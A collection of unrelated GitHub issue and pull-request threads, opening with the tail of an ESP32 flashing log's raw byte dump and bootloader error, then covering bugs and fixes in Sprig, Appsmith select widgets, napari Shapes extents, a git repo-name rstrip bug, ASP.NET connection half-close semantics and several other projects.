153, 5, 72, 5, 101, 202, 132, 99, 99, 169, 0, 133, 100, 41, 101, 19, 5, 197, 130, 10, 149, 157, 101, 147, 133, 69, 243, 138, 149, 38, 134, 151, 0, 128, 255, 231, 128, 64, 145, 51, 9, 153, 64, 38, 148, 227, 28, 9, 250, 151, 34, 0, 0, 231, 130, 130, 51, 151, 240, 127, 255, 231, 128, 96, 101, 41, 101, 19, 5, 69, 136, 10, 149, 169, 101, 147, 133, 69, 137, 138, 149, 151, 240, 255, 255, 231, 128, 160, 103, 34, 85, 151, 240, 255, 255, 231, 128, 64, 92, 34, 85, 169, 101, 147, 133, 101, 129, 138, 149, 33, 70, 151, 240, 255, 255, 231, 128, 32, 92, 34, 85, 169, 101, 147, 133, 69, 136, 138, 149, 65, 70, 151, 240, 255, 255, 231, 128, 224, 90, 34, 85, 9, 70, 169, 101, 147, 133, 229, 129, 138, 149, 151, 240, 255, 255, 231, 128, 160, 89, 34, 85, 151, 240, 255, 255, 231, 128, 224, 87, 21, 177, 129, 68, 133, 69, 133, 136, 99, 149, 4, 62, 25, 69, 99, 84, 181, 0, 29, 68, 25, 160, 19, 132, 21, 0, 34, 85, 147, 165, 117, 0, 147, 196, 21, 0, 169, 101, 147, 133, 101, 129, 138, 149, 151, 240, 255, 255, 231, 128, 0, 47, 162, 133, 193, 191, 45, 69, 99, 113, 37, 83, 151, 34, 0, 0, 231, 130, 34, 32, 129, 69, 151, 240, 127, 255, 231, 128, 224, 44, 77, 166, 19, 5, 0, 12, 225, 69, 99, 104, 185, 56, 151, 34, 0, 0, 231, 130, 34, 32, 81, 141, 131, 69, 148, 0, 3, 70, 132, 0, 131, 70, 164, 0, 3, 71, 180, 0, 162, 5, 209, 141, 194, 6, 98, 7, 217, 142, 213, 141, 136, 193, 189, 166, 45, 69, 99, 122, 37, 77, 151, 34, 0, 0, 231, 130, 66, 27, 8, 65, 35, 2, 171, 0, 147, 85, 133, 1, 163, 3, 187, 0, 147, 85, 5, 1, 35, 3, 187, 0, 33, 129, 163, 2, 171, 0, 137, 166, 19, 5, 0, 12, 193, 69, 99, 104, 185, 50, 3, 69, 148, 0, 131, 69, 132, 0, 3, 70, 164, 0, 34, 5, 201, 141, 66, 6, 131, 70, 180, 0, 3, 73, 196, 0, 131, 68, 212, 0, 131, 75, 228, 0, 131, 74, 244, 0, 34, 85, 226, 6, 85, 142, 51, 100, 182, 0, 169, 101, 147, 133, 101, 129, 138, 149, 151, 240, 255, 255, 231, 128, 128, 34, 17, 101, 19, 5, 133, 169, 151, 240, 127, 255, 231, 128, 128, 7, 55, 5, 0, 96, 72, 73, 99, 6, 4, 68, 162, 4, 179, 229, 36, 1, 194, 11, 226, 10, 51, 230, 122, 1, 209, 141, 19, 22, 197, 0, 33, 130, 34, 5, 113, 129, 81, 141, 51, 5, 181, 2, 179, 85, 133, 2, 1, 69, 151, 240, 127, 255, 231, 128, 192, 7, 19, 5, 128, 62, 151, 240, 127, 255, 231, 128, 64, 3, 161, 75, 210, 74, 201, 188, 34, 85, 169, 101, 147, 133, 101, 129, 138, 149, 151, 240, 255, 255, 231, 128, 224, 27, 19, 5, 0, 12, 225, 69, 99, 110, 185, 38, 151, 34, 0, 0, 231, 130, 226, 14, 179, 108, 166, 0, 151, 34, 0, 0, 231, 130, 162, 18, 85, 142, 179, 109, 166, 0, 3, 69, 84, 1, 131, 69, 68, 1, 3, 70, 100, 1, 131, 70, 116, 1, 34, 5, 77, 141, 66, 6, 226, 6, 85, 142, 179, 100, 166, 0, 151, 34, 0, 0, 231, 130, 34, 13, 151, 240, 127, 255, 231, 128, 32, 67, 35, 41, 11, 0, 41, 101, 19, 5, 197, 130, 10, 149, 151, 240, 255, 255, 231, 128, 64, 67, 129, 75, 129, 74, 51, 133, 180, 3, 42, 204, 102, 137, 99, 122, 144, 11, 98, 69, 170, 154, 99, 8, 9, 6, 99, 246, 91, 7, 238, 132, 99, 227, 45, 1, 202, 132, 5, 101, 5, 5, 99, 244, 164, 54, 29, 101, 19, 5, 69, 243, 179, 5, 161, 0, 34, 133, 38, 134, 151, 240, 255, 255, 231, 128, 160, 1, 147, 117, 245, 15, 99, 157, 5, 44, 34, 85, 157, 101, 147, 133, 69, 243, 138, 149, 38, 134, 151, 240, 255, 255, 231, 128, 160, 49, 41, 101, 19, 5, 197, 130, 10, 149, 157, 101, 147, 133, 69, 243, 138, 149, 38, 134, 151, 240, 127, 255, 231, 128, 224, 100, 51, 9, 153, 64, 38, 148, 166, 155, 227, 28, 9, 248, 34, 85, 169, 101, 147, 133, 133, 130, 138, 149, 17, 70, 151, 240, 255, 255, 231, 128, 128, 36, 13, 70, 99, 123, 182, 46, 131, 69, 21, 0, 3, 70, 5, 0, 131, 70, 37, 0, 3, 69, 53, 0, 162, 5, 209, 141, 194, 6, 98, 5, 85, 141, 179, 106, 181, 0, 227, 234, 154, 245, 151, 34, 0, 0, 231, 130, 66, 3, 151, 240, 127, 255, 231, 128, 32, 53, 41, 101, 19, 5, 69, 136, 10, 149, 169, 101, 147, 133, 69, 137, 138, 149, 151, 240, 255, 255, 231, 128, 96, 55, 34, 85, 169, 101, 147, 133, 69, 136, 138, 149, 65, 70, 151, 240, 255, 255, 231, 128, 192, 39, 89, 181, 19, 5, 0, 12, 193, 69, 99, 108, 185, 16, 3, 69, 212, 0, 131, 69, 196, 0, 3, 70, 228, 0, 131, 70, 244, 0, 34, 5, 77, 141, 66, 6, 226, 6, 179, 229, 198, 0, 201, 141, 3, 69, 148, 0, 3, 70, 132, 0, 131, 70, 164, 0, 3, 71, 180, 0, 34, 5, 81, 141, 194, 6, 98, 7, 217, 142, 85, 141, 151, 240, 127, 255, 231, 128, 64, 248, 170, 133, 19, 5, 96, 3, 241, 229, 209, 168, 19, 5, 96, 12, 209, 160, 147, 7, 240, 14, 3, 69, 148, 0, 3, 70, 132, 0, 131, 68, 164, 0, 3, 68, 180, 0, 34, 5, 81, 141, 194, 4, 98, 4, 69, 140, 179, 100, 164, 0, 99, 158, 4, 9, 34, 7, 217, 141, 194, 8, 226, 6, 51, 229, 22, 1, 201, 141, 19, 5, 16, 12, 99, 149, 183, 8, 22, 204, 34, 85, 169, 101, 147, 133, 101, 129, 138, 149, 151, 240, 255, 255, 231, 128, 224, 250, 13, 69, 99, 141, 173, 22, 19, 133, 205, 242, 89, 193, 69, 69, 99, 134, 173, 10, 29, 69, 98, 71, 227, 156, 173, 136, 114, 86, 19, 5, 144, 12, 99, 105, 150, 4, 147, 117, 57, 0, 19, 5, 0, 12, 185, 225, 147, 6, 55, 0, 241, 154, 51, 133, 230, 64, 206, 133, 99, 227, 164, 0, 182, 133, 179, 182, 164, 0, 51, 133, 164, 64, 19, 87, 37, 0, 253, 22, 82, 85, 249, 142, 113, 22, 138, 6, 227, 140, 6, 132, 152, 65, 145, 5, 24, 193, 17, 5, 42, 218, 50, 222, 113, 22, 241, 22, 229, 250, 137, 176, 19, 5, 0, 12, 133, 69, 35, 4, 187, 0, 163, 4, 171, 0, 34, 85, 169, 101, 147, 133, 101, 129, 138, 149, 151, 240, 255, 255, 231, 128, 0, 242, 5, 176, 151, 240, 127, 255, 231, 128, 0, 229, 40, 16, 133, 69, 98, 70, 166, 134, 151, 240, 255, 255, 231, 128, 0, 248, 147, 117, 245, 15, 249, 241, 151, 240, 127, 255, 231, 128, 96, 227, 111, 240, 143, 255, 55, 69, 128, 64, 131, 45, 197, 5, 129, 75, 5, 73, 133, 76, 166, 138, 98, 70, 38, 198, 114, 85, 99, 131, 10, 12, 105, 193, 99, 9, 9, 12, 35, 47, 91, 7, 33, 100, 51, 5, 180, 65, 5, 4, 157, 101, 147, 133, 69, 243, 138, 149, 136, 193, 99, 251, 141, 14, 99, 233, 116, 15, 6, 69, 51, 181, 170, 0, 6, 5, 179, 236, 172, 0, 194, 70, 51, 135, 182, 1, 179, 5, 118, 1, 41, 101, 19, 5, 69, 137, 51, 6, 161, 0, 29, 101, 19, 5, 69, 243, 179, 7, 161, 0, 19, 5, 97, 4, 102, 136, 151, 240, 127, 255, 231, 128, 64, 217, 131, 36, 235, 7, 134, 69, 29, 102, 19, 6, 70, 243, 10, 150, 16, 66, 42, 137, 133, 141, 174, 192, 178, 157, 1, 197, 33, 101, 99, 159, 173, 0, 99, 251, 141, 8, 40, 16, 194, 69, 110, 134, 151, 240, 255, 255, 231, 128, 224, 227, 147, 117, 245, 15, 129, 233, 129, 77, 179, 138, 154, 64, 166, 155, 98, 70, 178, 68, 169, 191, 161, 75, 210, 74, 229, 189, 40, 16, 226, 69, 38, 134, 151, 240, 255, 255, 231, 128, 96, 225, 147, 117, 245, 15, 227, 146, 5, 238, 111, 240, 207, 241, 183, 69, 128, 64, 35, 174, 181, 5, 99, 79, 9, 2, 179, 53, 160, 0, 49, 160, 183, 69, 128, 64, 35, 174, 181, 5, 133, 69, 161, 75, 210, 74, 99, 25, 9, 0, 153, 197, 19, 5, 128, 12, 163, 2, 161, 4, 111, 240, 175, 238, 99, 3, 9, 238, 99, 17, 5, 238, 19, 5, 144, 12, 163, 2, 161, 4, 111, 240, 111, 237, 19, 5, 112, 12, 163, 2, 161, 4, 213, 190, 0, 0, 65, 17, 6, 198, 46, 134, 151, 0, 0, 0, 231, 128, 96, 1, 19, 117, 245, 15, 51, 53, 160, 0, 178, 64, 65, 1, 130, 128, 253, 70, 19, 199, 245, 255, 51, 21, 229, 0, 145, 141, 141, 142, 51, 85, 213, 0, 58, 150, 29, 138, 147, 5, 240, 15, 179, 213, 197, 0, 109, 141, 130, 128, 46, 134, 129, 70, 23, 3, 0, 0, 103, 0, 131, 0, 125, 72, 147, 199, 245, 255, 125, 87, 51, 23, 247, 0, 145, 141, 179, 5, 184, 64, 28, 65, 179, 85, 183, 0, 51, 151, 197, 0, 19, 71, 247, 255, 125, 143, 245, 141, 147, 245, 245, 15, 179, 149, 197, 0, 217, 141, 12, 193, 130, 128, 178, 134, 46, 134, 23, 3, 0, 0, 103, 0, 163, 252, 133, 70, 46, 134, 23, 3, 0, 0, 103, 0, 227, 251, 1, 17, 6, 206, 34, 204, 38, 202, 74, 200, 78, 198, 82, 196, 86, 194, 182, 132, 178, 137, 179, 10, 214, 64, 19, 246, 250, 15, 161, 70, 99, 114, 214, 12, 58, 137, 46, 132, 42, 138, 151, 0, 0, 0, 231, 128, 192, 11, 19, 117, 250, 15, 147, 117, 244, 15, 162, 5, 77, 141, 183, 37, 11, 96, 35, 160, 165, 64, 3, 166, 5, 64, 26, 6, 227, 77, 6, 254, 183, 37, 11, 96, 3, 166, 133, 64, 253, 86, 51, 151, 150, 0, 19, 71, 247, 255, 133, 9, 179, 151, 54, 1, 93, 143, 121, 142, 133, 10, 179, 150, 86, 1, 147, 198, 246, 255, 179, 246, 38, 1, 179, 150, 150, 0, 85, 142, 19, 118, 246, 15, 66, 6, 183, 6, 0, 1, 85, 141, 81, 141, 35, 160, 165, 64, 3, 165, 5, 64, 26, 5, 227, 77, 5, 254, 147, 5, 170, 249, 19, 245, 245, 15, 29, 70, 99, 102, 166, 2, 19, 6, 144, 9, 179, 85, 182, 0, 133, 137, 153, 205, 183, 69, 128, 64, 147, 133, 5, 243, 10, 5, 46, 149, 8, 65, 183, 37, 11, 96, 3, 166, 69, 65, 113, 141, 35, 170, 165, 64, 242, 64, 98, 68, 210, 68, 66, 73, 178, 73, 34, 74, 146, 74, 5, 97, 130, 128, 0, 0, 183, 245, 10, 96, 144, 77, 19, 102, 70, 0, 144, 205, 55, 38, 11, 96, 131, 37, 198, 127, 183, 6, 0, 16, 205, 142, 147, 5, 165, 249, 19, 245, 245, 15, 29, 71, 35, 46, 214, 126, 99, 102, 167, 2, 19, 6, 144, 9, 179, 85, 182, 0, 133, 137, 153, 205, 183, 69, 128, 64, 147, 133, 5, 245, 10, 5, 46, 149, 8, 65, 183, 37, 11, 96, 3, 166, 69, 65, 81, 141, 35, 170, 165, 64, 130, 128, 1, 70, 115, 118, 4, 48, 33, 137, 41, 193, 183, 70, 128, 64, 3, 165, 70, 5, 153, 205, 147, 5, 21, 0, 5, 71, 35, 170, 182, 4, 99, 22, 229, 2, 55, 245, 10, 96, 12, 77, 147, 229, 69, 0, 12, 205, 49, 168, 133, 69, 99, 23, 181, 0, 183, 245, 10, 96, 148, 77, 237, 154, 148, 205, 125, 21, 183, 69, 128, 64, 35, 170, 165, 4, 33, 138, 1, 198, 33, 69, 115, 32, 5, 48, 130, 128, 65, 17, 6, 198, 34, 196, 38, 194, 46, 132, 170, 132, 19, 5, 96, 6, 151, 0, 0, 0, 231, 128, 64, 244, 19, 245, 244, 15, 34, 5, 147, 117, 244, 15, 194, 5, 77, 141, 183, 5, 0, 1, 147, 133, 101, 6, 201, 141, 55, 37, 11, 96, 35, 32, 181, 64, 131, 37, 5, 64, 154, 5, 227, 205, 5, 254, 55, 37, 11, 96, 131, 37, 69, 65, 147, 245, 245, 253, 35, 42, 181, 64, 178, 64, 34, 68, 146, 68, 65, 1, 130, 128, 65, 17, 6, 198, 151, 0, 0, 0, 231, 128, 64, 2, 147, 21, 69, 0, 193, 129, 49, 129, 55, 22, 11, 96, 3, 32, 70, 1, 66, 5, 77, 141, 72, 202, 178, 64, 65, 1, 130, 128, 9, 201, 5, 70, 99, 28, 197, 0, 55, 181, 196, 4, 19, 5, 5, 64, 130, 128, 55, 101, 98, 2, 19, 5, 5, 160, 130, 128, 55, 69, 15, 0, 19, 5, 5, 36, 51, 133, 165, 2, 130, 128, 243, 37, 64, 241, 133, 225, 66, 5, 65, 129, 10, 5, 183, 5, 1, 96, 46, 149, 133, 69, 12, 193, 55, 21, 0, 32, 12, 65, 147, 229, 37, 0, 12, 193, 130, 128, 0, 0, 19, 117, 245, 15, 147, 5, 208, 4, 99, 100, 181, 0, 19, 5, 208, 4, 130, 128, 0, 0, 65, 17, 6, 198, 34, 196, 38, 194, 74, 192, 1, 69, 55, 9, 1, 96, 253, 68, 19, 4, 21, 0, 147, 117, 244, 15, 141, 193, 151, 0, 0, 0, 231, 128, 0, 253, 66, 5, 147, 85, 5, 1, 19, 134, 53, 251, 34, 133, 109, 210, 138, 5, 202, 149, 132, 193, 34, 133, 225, 191, 55, 53, 128, 64, 19, 5, 5, 96, 5, 5, 115, 16, 85, 48, 55, 69, 128, 64, 19, 5, 133, 249, 147, 5, 192, 3, 5, 72, 183, 22, 0, 32, 5, 71, 141, 201, 243, 39, 64, 241, 157, 239, 4, 65, 192, 66, 179, 23, 152, 0, 19, 198, 247, 255, 97, 142, 208, 194, 115, 38, 64, 241, 5, 230, 138, 4, 182, 148, 152, 200, 144, 66, 93, 142, 144, 194, 241, 21, 17, 5, 5, 7, 233, 249, 125, 85, 115, 16, 69, 48, 178, 64, 34, 68, 146, 68, 2, 73, 65, 1, 130, 128, 0, 0, 46, 134, 213, 69, 23, 3, 0, 0, 103, 0, 131, 204, 249, 69, 1, 70, 23, 3, 0, 0, 103, 0, 195, 203, 253, 69, 1, 70, 23, 3, 0, 0, 103, 0, 3, 203, 217, 69, 1, 70, 23, 3, 0, 0], pad_to: 4, pad_byte: 0, sequence: 0 }
Error:   × The bootloader returned an error
  ├─▶ Error while running MemData command
  ╰─▶ Other

Following a conversation in the esp-rs room, this was resolved by selecting the JTAG port after holding reset + boot to put it in download mode. This issue is only a problem using the serial option.
This is the board I'm using and it has a single USB Type C hub between the UART and JTAG connection.
Here are the options that appear for the board, when the board is not in download mode, selecting the JTAG option will just hang for a while and then error, when in download mode it works fine without the need for the --no-stub flag.

As a note, this is happening to me with an ESP32-S3-WROOM-1, the board does have a USB-C UART bridge. This board does not have a JTAG interface, even when it is in download mode. My debug output looks pretty much like the above.


Hide s-vals in the url when a link with a target outside of the component is clicked

Hi,
I have a page cached with Blitz in which a Sprig component is placed. This Sprig component is loaded once with dynamic links inside. These links have another target then the component itself (the body). When a link is clicked the default Sprig vals are added to the url (sprig:siteId, sprig:component and sprig:template). The vals are not needed in this use-case because the links are targeted outside the component and make the URL's unnecessary long.
What would be the recommended way to remove the vals?
Thanks in advance,
Lars

Just came across s-params and hx-params="none" solved it for me.
(always to quick with the questions, will sit on it longer)


[Windows]Same Account but balance shown differ

Bug Description
Different Balance shown
Steps to Reproduce
Steps to reproduce the behavior:

Installed TNB 28 on windows machine
launch TNB 28 app
create my account click on (+)
add that account as friend account

Expected behavior
Balance shown friend account same both side my account and friend account
Actual behavior
Balance shown differ
Screenshots/Recordings
https://prnt.sc/vhqxw9
OS and Browser

OS: [e.g. Windows 10]
Browser [e.g. Chrome]

Signing key and account number are not the same.

Signing key and account number are not the same.


Possible typo in FAQ

The FAQ is great! Brilliant idea including this in the documentation. When reading it, I noticed that the FAQ has the following text:
<details>
<summary><b>There are too many messages. How can I run `ibis.iSDM` more verbosely ?</b>
</summary>

There are two options that can be enabled to reduce the number of messages:

I think  "more verbosely" should be "less verbosely"?

Ha, indeed. To be corrected (generally lots of work on the documentation :D )


Giant graph performance problem

❓ Questions & Help

Does the framework support hundreds of millions of giant graph?How is performance?

Hi, do you mean a large number of graphs or a large number of nodes in a single graph? Support for large graphs is trivial via mini-batching, but we currently do not have a way for handling one giant single graph. We have an open issue regarding this request here. This will be definitely integrated for the next major release.

I am closing this in favour of https://github.com/rusty1s/pytorch_geometric/issues/64.


[Bug]-[300]:Default value is displayed on widget even when it is not available in drop-down options

Is there an existing issue for this?

[X] I have searched the existing issues

Description

https://watch.screencastify.com/v/rTmvAKEDYT6lAqffXIXq
Steps To Reproduce

Drag and drop a Select/multi-select/TreeSelect/Multi tree select
Add any random value in Default Value
Observe that it is shown in widget even when the default value is not present in drop-down options

Public Sample App
No response
Version
Cloud

@dilippitchika Should we close this issue.
Since this was intended

@Tooluloope i think we should be smarter about this because it's causing frequent confusion.
Here's my suggestion on how to fix this -

When user provides only value and not {label, value} in default, we check if the option exists. If it doesn't then we don't show this in default.
When user provides {label, value} for default, we check if the option exists. If it doesn't then we NOW show this in default. This is the only scenario for a user to add default when they have configured the server side filtering in the widget.
This is applicable both for select and multi-select widgets.

Let me know your thoughts

So Conclusion here was to enable this defaultValue caching only when Serverside Filtering is enabled. But once Serverside filtering is false, we do a strict check to know if the default value is in the list of options, and Only the default values in options would be displayed.
CC @dilippitchika @somangshu

Stats

Stat
Values

Reach
150

Effort (months)
1

this issue is covered in PR#13079

QA Note
The following should be tested in the PR

For all the Select Family, The value must be strictly checked against the options except if serverside filtering is enabled, i.e all selectedValues/DefaultValues must exist in the options for it to be reflected in selectOptionValue
Connecting the defaultValue from a Table or external source, should reflect the expected value in selectOptionValue
Getting the expected value in a Form.
For Treeselect widgets, The Display Mode should reflect the right value

cc @ashit-rath @wmdev0808 @somangshu @dilippitchika

Adding my notes here for default value for testing- @Tooluloope @wmdev0808 @ashit-rath
Default value with server side filtering OFF- Select widget

Supported formats - value, {label,value}
When value is not present in the list of options

No default should be shown in the select widget
The default value field in property pane should show an error

When label is not present in the list of options but value is present

The label is shown from the list of options and NOT from the label added in the default field

The selectedOptionLabel and selectedOptionValue should populate data of value from default and label from options

Default value with server side filtering ON - Select widget

Supported formats - value, {label, value}
When value is present in list of options

Similar to server side filtering OFF; We show the default from the list of options
If label is not same between options and default {label, value}; We show the default from the list of options

The selectedOptionLabel and selectedOptionValue should populate data of value from default and label from options

When value is not present in list of options

If the format is  and not {label,value}

No default should be shown in the select widget
The default value field in property pane should show an error

If the format is {label, value}

The default will be shown in the list of options using the label field from {label, value}
There should be no error in the default field
The selectedOptionLabel and selectedOptionValue should populate data from {label, value}

@dilippitchika Just double-checking, this is also true for multi-select?

@ashit-rath almost, but this is only for select. For multiselect, i will add more notes.

@dilippitchika Please do consider all the Select family widgets just for the sake of future reference.

@ashit-rath the challenge i see is with the CSV behavior in multiselect. I need some clarity there on what we are supporting currently in default values - @Tooluloope can you let me know?

Adding my notes here for the part i am confident of for Multi select widget
Default value with server side filtering OFF- MultiSelect widget

Supported formats - [values], [{label,value}]
When any value from default is not present in the list of options

The value will not be shown by default in the multiselect widget, if all values are missing no default should be multiselect widget
The default value field in property pane should show an error

Error message - "Some or all default values are missing from options. Please update the values."

When the label is different from the one configured in the default and the options

The default label(s) will be shown from the options and not from the data in the default values field.

The selectedOptionLabels and selectedOptionValues should populate data of value from default and label from options

Default value with server side filtering ON- MultiSelect widget

Supported formats -[values], [{label,value}]
When value is not present in list of options

Format is [values], then we throw an error message

Default value is missing in options. Please use [{label : <string | num>, value : < string | num>}] format to show default for server side data

Format is [{label,value}] then we show the these as the default labels and values in the multi-select widget

When value is present in list of options

Similar to server side filtering OFF; We show the default from the list of options
If the label is different between default and the option then, the default label(s) will be shown from the options and not from the data in the default values field

The selectedOptionLabels and selectedOptionValues should populate data of value from default and label from options

Not considering CSV here, need discussion on that.

@Tooluloope @vivekverma2312 I think this issue is linked to select default changes, please verify this and and link the PR here as well.

fixed in #15133


Shapes shape, range, and extent

❓ Questions and Help
Hello everyone. While working on #920, I realized that I don't really understand how we use extent, range, and shape in the context of the dims, but I may have found a bug. In short, the shape calculation for the Shapes layer seems off by one.
To Reproduce
For example, if I am making a Shapes layer with the following data (1 square each on z planes 0, 1, and 2):
data = [
    [
        [0, 100, 100],
        [0, 100, 200],
        [0, 200, 200],
        [0, 200, 100]
    ],
    [
        [1, 125, 125],
        [1, 125, 175],
        [1, 175, 175],
        [1, 175, 125]
    ],
    [
        [2, 100, 100],
        [2, 100, 200],
        [2, 200, 200],
        [2, 200, 100]
    ],
]
layer = Shapes(np.array(data), shape_type='polygon')

I get the following:
>>> layer.shape
(2, 100, 100)

>>> layer._get_range()
((0.0, 2.0, 1), (100.0, 200.0, 1), (100.0, 200.0, 1))

>>> layer._get_extent()
((0.0, 2.0, 1), (100.0, 200.0, 1), (100.0, 200.0, 1))

Further, when instantiating a viewer with just shapes (napari.view_shapes(data, shape_type='polygon), the z dim slider only has positions z=0 and z=1.
Expected behavior
I am not sure what to expect for the range and extent, but I would have expected:
>>> layer.shape
(3, 101, 101)

since there are 3 z slices and the squares are 101 pixels wide in z slices 0 and 1 (i.e., same as how numpy array shape works). I took a look at the Image layer and it looks like the shape is based on the shape of the image numpy array, which is consistent with my expectation.
Environment
napari: 0.2.10+19.gfeb879f
Platform: Darwin-16.7.0-x86_64-i386-64bit
Python: 3.6.8 (default, Oct 31 2019, 11:52:31) [GCC 4.2.1 Compatible Apple LLVM 9.0.0 (clang-9<IP_ADDRESS>)]
Qt: 5.13.1
PySide2: 5.13.1
VisPy: 0.6.4
NumPy: 1.17.3
SciPy: 1.3.1
scikit-image: 0.16.2
Dask: 2.6.0
GL version: 2.1 INTEL-10.25.24
MAX_TEXTURE_SIZE: 16384

@kevinyamauchi can you look into this again now that #1360 and #1539 have merged. I'd actually like us to remove the layer.shape property, but we want layer._extent_data to be accurate

Will do. I'll take a look this weekend!

@sofroniewn , I've been playing around with the shapes/points/tracks and I think there is some inconsistency with the layer._extent_data property. I've made a new issue: #1686

@sofroniewn , I've been playing around with the shapes/points/tracks and I think there is some inconsistency with the layer._extent_data property. I've made a new issue since it pertains to multiple layers: #1686
Feel free to close this one if you think we should just move the conversation entirely over there.

Ok, yeah, thanks for flagging. I will close this now and we can move the convo over there!!


Update README.rst file

Description
Small changes to README.rst file to match the current supported version and also links to the version support policy.
Although, I'm not sure where this file is used, maybe it's just an older file and README.md is the canonical file now.
All SDK Contribution checklist:

[x] The pull request does not introduce [breaking changes]
[ ] CHANGELOG is updated for new features, bug fixes or other significant changes.
[x] I have read the contribution guidelines.

General Guidelines and Best Practices

[x] Title of the pull request is clear and informative.
[x] There are a small number of commits, each of which have an informative message. This means that previously merged commits do not appear in the history of the PR. For more information on cleaning up the commits in your PR, see this page.

Testing Guidelines

[ ] Pull request includes test coverage for the included changes.

Hi @gmsantos, thank you for opening a PR! I'll tag some folks who should be able to leave a review and we'll get back to you as soon as possible.

Thanks for your contribution.

/check-enforcer reset

/check-enforcer override


Error opening repository with the name ending with g

Describe the bug
A clear and concise description of what the bug is.
On init_git, the way the repository name is extracted from the repositoryUrl causes repo names ending with g to cut the ending. This causes the option [Optional] You can open the cloned folder using VSCode, by clicking <repo-name> to open a non existing directory.
To Reproduce
Steps to reproduce the behavior:

Run init_git on a repository with the name ending with g. for example dive-into-deep-learning

Click on [Optional] You can open the cloned folder using VSCode, by clicking dive-into-deep-learnin

VScode will open the connection with the workspace  as Unable to resolve workspace folder

See error

git_url = 'git://github.com/flych3r/dive-into-deep-learning.git'
repo_name = os.path.basename(git_url).rstrip(".git")
print(repo_name)
>>> dive-into-deep-learnin

Expected behavior
The repository name should remain correct. Clicking on open  should open the folder of the cloned repository.
Screenshots
If applicable, add screenshots to help explain your problem.

You are absolutely right, totally forgot about that. Thank you for the detailed explanation.


CIP 4: Proposal for hotfixes via governance

Proposal aimed at striking a balance between the need for community governance and the need for a rapid and discreet response to critical security vulnerabilities.

WIP implementation being worked on in https://github.com/celo-org/celo-monorepo/pull/613


New release

Assuming you're not dead and master is in decent shape can we get another release?

+1

Still alive, just busy!
Done - tvnamer 2.4 released.
Supports Python 3, and tvnamer --order dvd #105


Doesn't work with app-cache package

On first load data is injected just fine.
But on reload, when app.manifest is present in the browser's cache - fastRender is simply ignored by the browser and no html injection occurs.
Tested in Chrome 45 and Edge

I think that what app-cache does. You need to avoid using app-cache.
On Wed, Sep 9, 2015 at 3:12 PM Artem Saffron<EMAIL_ADDRESS>wrote:

On first load data is injected just fine.
But on reload, when app.manifest is present in the browser's cache -
fastRender is simply ignored by the browser and no html injection occurs.
Tested in Chrome 45 and Edge
—
Reply to this email directly or view it on GitHub
https://github.com/meteorhacks/fast-render/issues/136.

And what about its benefits of caching js files? I want the best of both worlds!))

I'm not an expert with appcache stuff. So, I'm not the best guy to answer this :)
May be if you find a way to use the appcache, only if your system goes offline.
But generally, you should not worry about appcache, unless you need to offline support.

I see. I'm not an expert either. But I'll amend the readme about this if you don't mind.

Okay. Send me a PR.
On Wed, Sep 9, 2015 at 3:56 PM Artem Saffron<EMAIL_ADDRESS>wrote:

I see. I'm not an expert either. But I'll amend the readme about this if
you don't mind.
—
Reply to this email directly or view it on GitHub
https://github.com/meteorhacks/fast-render/issues/136#issuecomment-138866914
.

Surely the advantage of appcache is faster page loads on subsequent visits? It's good for apps that don't need offline support too.


[tlse] tls for GlanceAPI pod configuration

Public/Internal service cert secrets and the CA bundle secret can be passed to configure httpd virtual hosts for tls termination. The certs get direct mounted to the appropriate place in etc/pki/tls/certs/%s.crt|key and a CA bundle to
/etc/pki/ca-trust/extracted/pem/tls-ca-bundle.pem . Job deployments for bootstrap/cron get the CA bundle added if configured.
Also indexes the named input resources for password, CA bundle, and endpoint secrets to be able to watch them for a change and reconcile.
Depends-On: https://github.com/openstack-k8s-operators/lib-common/pull/384
Jira: OSPRH-1233

can not remember that I have closed this one, and it seems I can not reopen this, so opened a new one https://github.com/openstack-k8s-operators/glance-operator/pull/391


433 googletest issue with m1 macos machine

Merge Request - GuideLine Checklist
Guideline to check code before resolve WIP and approval, respectively.
As many checkboxes as possible should be ticked.
Checks by code author:

[ ] There is at least one issue associated with the pull request.
[ ] The branch follows the naming conventions as defined in the git workflow.
[ ] New code adheres with the coding guidelines
[ ] Tests for new functionality has been added
[ ] A local test was succesful
[ ] There is appropriate documentation of your work. (use doxygen style comments)
[ ] If new third party software is used, did you pay attention to its license? Please remember to add it to the wiki after successful merging.
[ ] If new mathematical methods or epidemiological terms are used, has the glossary been updated ? Did you provide further documentation ?
is present or referenced. Please provide your references.
[ ] The following questions are addressed in the documentation*:  Developers (what did you do?, how can it be maintained?), For users (how to use your work?), For admins (how to install and configure your work?)
For documentation: Please write or update the Readme in the current working directory!

Checks by code reviewer(s):

[ ] Is the code clean of development artifacts e.g., unnecessary comments, prints, ...
[ ] The ticket goals for each associated issue are reached or problems are clearly addressed (i.e., a new issue was introduced).
[ ] There are appropriate unit tests and they pass.
[ ] The git history is clean and linearized for the merge request.
[ ] Coverage report for new code is acceptable.

Pleas always check "Checks by code author" @xsaschako

Codecov Report
Base: 90.84% // Head: 90.84% // No change to project coverage :thumbsup:

Coverage data is based on head (116045d) compared to base (6f66966).
Patch has no changes to coverable lines.

:exclamation: Current head 116045d differs from pull request most recent head 315a199. Consider uploading reports for the commit 315a199 to get more accurate results

Additional details and impacted files
@@           Coverage Diff           @@
##             main     #438   +/-   ##
=======================================
  Coverage   90.84%   90.84%
=======================================
  Files          91       91
  Lines        6881     6881
=======================================
  Hits         6251     6251
  Misses        630      630

Impacted Files
Coverage Δ

cpp/memilio/io/json_serializer.h
87.67% <ø> (ø)

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report at Codecov.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.

Please always check "Checks by code author" @xsaschako

done and ready 4 review

partially addresse #409


ConnectionContext.Transport.Output.CompleteAsync() should only half close connection

Today ConnectionContext.Transport.Output.CompleteAsync() fully closes the connection with both the libuv and managed socket transport. As soon as the transport send loop sees a completed ReadResult, it calls Socket.Shutdown(SocketShutdown.Both) or an equivalent. This prevents the application from reading more from ConnectionContext.Transport.Input even if the other side of the connection did not finish sending data.
Given that ConnectionContext.DisposeAsync() now exists and also fully closes the connection, the contract for ConnectionContext.Transport.Output.CompleteAsync() should change to only close the sending side of the connection. The converse should also be true for ConnectionContext.Transport.Input.CompleteAsync(). DisposeAsync() should continue to fully close the connection after the send loop completes like it does today, and Abort() will continue to immediately terminate the connection.

@davidfowl


Removes v0.0.6 suffix from go.mod files

Not sure this is going to work unless I get rid of go.work.  Then we are stuck modding go.mod files all the time.
Issue is the need to be able to develop against 2 or more sub-modules at a time requires go.work otherwise go wants to pull from git leading to needing to commit before testing.


